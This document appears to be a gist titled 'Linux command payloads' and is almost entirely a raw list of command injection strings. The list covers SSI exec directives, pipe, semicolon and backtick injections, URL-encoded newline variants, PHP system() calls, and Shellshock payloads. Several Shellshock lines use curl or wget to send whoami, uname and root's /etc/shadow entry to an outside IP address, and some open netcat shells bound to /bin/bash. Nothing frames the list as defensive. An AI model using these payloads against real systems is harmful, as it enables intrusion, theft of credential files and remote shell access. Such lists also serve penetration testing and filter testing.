Linux command payloads

gistfile1.txt

<!--#exec%20cmd="/bin/cat%20/etc/passwd"-->
<!--#exec%20cmd="/bin/cat%20/etc/shadow"-->
<!--#exec%20cmd="/usr/bin/id;-->
<!--#exec%20cmd="/usr/bin/id;-->
/index.html|id|
;id;
;id
;netstat -a;
;system('cat%20/etc/passwd')
;id;
|id
|/usr/bin/id
|id|
|/usr/bin/id|
||/usr/bin/id|
|id;
||/usr/bin/id;
;id|
;|/usr/bin/id|
\n/bin/ls -al\n
\n/usr/bin/id\n
\nid\n
\n/usr/bin/id;
\nid;
\n/usr/bin/id|
\nid|
;/usr/bin/id\n
;id\n
|usr/bin/id\n
|nid\n
`id`
`/usr/bin/id`
a);id
a;id
a);id;
a;id;
a);id|
a;id|
a)|id
a|id
a)|id;
a|id
|/bin/ls -al
a);/usr/bin/id
a;/usr/bin/id
a);/usr/bin/id;
a;/usr/bin/id;
a);/usr/bin/id|
a;/usr/bin/id|
a)|/usr/bin/id
a|/usr/bin/id
a)|/usr/bin/id;
a|/usr/bin/id
;system('cat%20/etc/passwd')
;system('id')
;system('/usr/bin/id')
%0Acat%20/etc/passwd
%0A/usr/bin/id
%0Aid
%0A/usr/bin/id%0A
%0Aid%0A
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
%0a ping -i 30 127.0.0.1 %0a
`ping 127.0.0.1`
| id
& id
; id
%0a id %0a
`id`
$;/usr/bin/id
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=\`whoami\`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=18?pwd=\`pwd\`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=20?shadow=\`grep root /etc/shadow\`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=22?uname=\`uname -a\`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=24?shell=\`nc -lvvp 1234 -e /bin/bash\`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=26?shell=\`nc -lvvp 1236 -e /bin/bash &\`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=5"
() { :;}; /bin/bash -c "sleep 1 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=1&?vuln=6"
() { :;}; /bin/bash -c "sleep 1 && echo vulnerable 1"
() { :;}; /bin/bash -c "sleep 3 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=3&?vuln=7"
() { :;}; /bin/bash -c "sleep 3 && echo vulnerable 3"
() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=6&?vuln=8"
() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=9&?vuln=9"
() { :;}; /bin/bash -c "sleep 6 && echo vulnerable 6"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=17?user=\`whoami\`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=19?pwd=\`pwd\`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=21?shadow=\`grep root /etc/shadow\`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=23?uname=\`uname -a\`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=25?shell=\`nc -lvvp 1235 -e /bin/bash\`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=27?shell=\`nc -lvvp 1237 -e /bin/bash &\`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=4"
cat /etc/hosts
$(`cat /etc/passwd`)
cat /etc/passwd
%0Acat%20/etc/passwd
{{ get_user_file("/etc/passwd") }}
<!--#exec cmd="/bin/cat /etc/passwd"-->
<!--#exec cmd="/bin/cat /etc/shadow"-->
<!--#exec cmd="/usr/bin/id;-->
system('cat /etc/passwd');
<?php system("cat /etc/passwd");?>

is this injection payload?